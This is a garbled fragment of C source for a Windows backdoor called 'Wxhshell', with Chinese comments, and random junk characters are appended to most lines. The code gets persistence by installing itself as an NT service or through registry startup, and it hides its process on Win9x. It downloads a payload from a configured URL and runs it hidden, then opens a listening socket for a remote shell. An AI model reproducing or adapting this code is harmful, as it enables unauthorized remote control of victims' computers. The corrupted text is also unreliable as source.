ULONG InheritedFromUniqueProcessId; ~J+
qIZge
} PROCESS_BASIC_INFORMATION; e],(d7 Jo
RfD#/G3|
PROCNTQSIP NtQueryInformationProcess; t g-(e=S4P
DBcR1c&<H
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;^0ok'P\~9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 047PlS
Vn{;8hZ:a
HANDLE hProcess; ^OIo
PROCESS_BASIC_INFORMATION pbi; ^q/^.Gf
,P`G IGvkA
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OGJrwl
if(NULL == hInst ) return 0; +MaEet
GeB&S!F
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?f'`b<o
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hmhsb2`\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y:m8UnT
z2,NWmP|w
if (!NtQueryInformationProcess) return 0; $yj*n;
2
V \hG?<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >!" Sr3,L
if(!hProcess) return 0; Nv;'Ys P
:R:@V#Y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tK{#kApHGG
b`S9#`
CloseHandle(hProcess); }93FWo.
PZZPx<?N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rc4=zimr+
if(hProcess==NULL) return 0; pxedj
=+T0[|gc(r
HMODULE hMod; ,98 F
char procName[255]; o_Y?s+~i[/
unsigned long cbNeeded; VZ`YbY
t!J>853
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I/A%3i=H
g5Io=e@s
CloseHandle(hProcess); !- QB>`7$
0k?]~f
if(strstr(procName,"services")) return 1; // 以服务启动 /`aPV"$M
t4:/qy
return 0; // 注册表启动 7zE1>.
} m
zoH$@
=X[?d/[
// 主模块 !XI9evJw
int StartWxhshell(LPSTR lpCmdLine) s!D2s2b9e
{ )y:))\>
SOCKET wsl; RN@)nc_
BOOL val=TRUE; bZfq?
int port=0; 4,X CbcC
struct sockaddr_in door; bVN?7D(
_]Ob)RUVH
if(wscfg.ws_autoins) Install(); qyKR]%yzi
=+DhLH}8
port=atoi(lpCmdLine); P2s\f;Dwr
eUCBQK
if(port<=0) port=wscfg.ws_port; 7iM@BeIf
BLqK5~
WSADATA data; BSd.7W;cS=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _G<Wq`0w)
G}NqVbZ9]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Tw`dLK?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5pY|RV6:
door.sin_family = AF_INET; DQV9=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2Y[n
door.sin_port = htons(port); Y*#TfWv:
ls9Y?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y<R5}F
closesocket(wsl); :ntAU2)H
return 1; #FRm<9/j
} B]gyj
W)
if(listen(wsl,2) == INVALID_SOCKET) { #{?RE?nD
closesocket(wsl); NhF"%
return 1; f61vE
} /.A"HGAk
Wxhshell(wsl); ZXiJ5BZ
WSACleanup(); %Q]thv:
,g"JgX
return 0; 2dJE`XL
\fI05GZ
} *L*{FnsV
})(robBkA
// 以NT服务方式启动 wCv9VvF`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u:W/6QS
{ 152s<lu1Z
DWORD status = 0;
gy|o#&e]%
DWORD specificError = 0xfffffff; I*cb\eU8Y
7o!t/WEEq
serviceStatus.dwServiceType = SERVICE_WIN32; {]m/15/$C
serviceStatus.dwCurrentState = SERVICE_START_PENDING; BAi0w{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w6mYLK%
serviceStatus.dwWin32ExitCode = 0; ZzR0k
serviceStatus.dwServiceSpecificExitCode = 0; y[S9b(:+
serviceStatus.dwCheckPoint = 0; ^vxNS[C`;
serviceStatus.dwWaitHint = 0; ? }`mQ <~
==%5Ci7qMy
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e8(Qx3T?b
if (hServiceStatusHandle==0) return; j*f\Z!EeZ
uXUuA/O5-
status = GetLastError(); u%"5<ll
if (status!=NO_ERROR) ;Kg7}4`I
{ D97 vfC
serviceStatus.dwCurrentState = SERVICE_STOPPED; >X"\+7bw
serviceStatus.dwCheckPoint = 0; hPgYKa8u
serviceStatus.dwWaitHint = 0; pSYEC,0B
serviceStatus.dwWin32ExitCode = status; SsfC
m C
serviceStatus.dwServiceSpecificExitCode = specificError; CMv8n@ry
SetServiceStatus(hServiceStatusHandle, &serviceStatus); DZH2U+K
return; Hm|N{
} P39oHW
"<)Jso|
serviceStatus.dwCurrentState = SERVICE_RUNNING; OmfHrlA
serviceStatus.dwCheckPoint = 0; Wy/h"R\=
serviceStatus.dwWaitHint = 0; 9p^gF2?k
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZIh)D[n
} Clap3E|a
Ja/
// 处理NT服务事件,比如:启动、停止 `@:TS)6X0
VOID WINAPI NTServiceHandler(DWORD fdwControl) TpYh)=;k
{ V
joVC$ZX
switch(fdwControl) oY; C[X
{ eC6wrpZO
case SERVICE_CONTROL_STOP: \&Bdi6xAy
serviceStatus.dwWin32ExitCode = 0; 9GTp};Kg
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3%Q9521
serviceStatus.dwCheckPoint = 0; #@1(
serviceStatus.dwWaitHint = 0; 4HGS
{ ,i;#e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^%LyT!y
} ;$4&Qp:#
return; 2hryY
case SERVICE_CONTROL_PAUSE: 7+X~i@#rU
serviceStatus.dwCurrentState = SERVICE_PAUSED; |}<Gz+E>
break; AKk&
case SERVICE_CONTROL_CONTINUE: HN5,MD[
serviceStatus.dwCurrentState = SERVICE_RUNNING; qFq$a9w|@
break; BD^1V(
I/
case SERVICE_CONTROL_INTERROGATE: 2vsV:LS.
break; /?z3*x
}; +~y>22Zfg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,LmP >Q.
} ~0?B
6mIK[Qnp
// 标准应用程序主函数 PqF&[M<)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
cJTwgm?
{ tL<.B
w
$`w
// 获取操作系统版本 ^7=7V0>,:
OsIsNt=GetOsVer(); E2>+V{TF
GetModuleFileName(NULL,ExeFile,MAX_PATH); \.Op6ECV9
"{t]~urLd
// 从命令行安装 asCcBp
if(strpbrk(lpCmdLine,"iI")) Install(); /s=veiH
~ ^
// 下载执行文件 [/n@BK
if(wscfg.ws_downexe) { A%^7D.j
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }owl7G3
WinExec(wscfg.ws_filenam,SW_HIDE); *BF[thB:a
} L*vKIP<EMM
)Z['=+s%
if(!OsIsNt) { e:C4f
// 如果时win9x,隐藏进程并且设置为注册表启动 'ShK7j$
HideProc(); 6Q_A-X3hk
StartWxhshell(lpCmdLine); ev_' .t'
} Q[|*P ] w
else H3ovF
if(StartFromService()) $p$p C/:%
// 以服务方式启动 iJmzVR+
StartServiceCtrlDispatcher(DispatchTable); x.] tGS
else 8gt&*;'}*D
// 普通方式启动 ~mi4V
StartWxhshell(lpCmdLine); '!,(G3
wQ@:0GJH
return 0; uxh>r2Xr=
}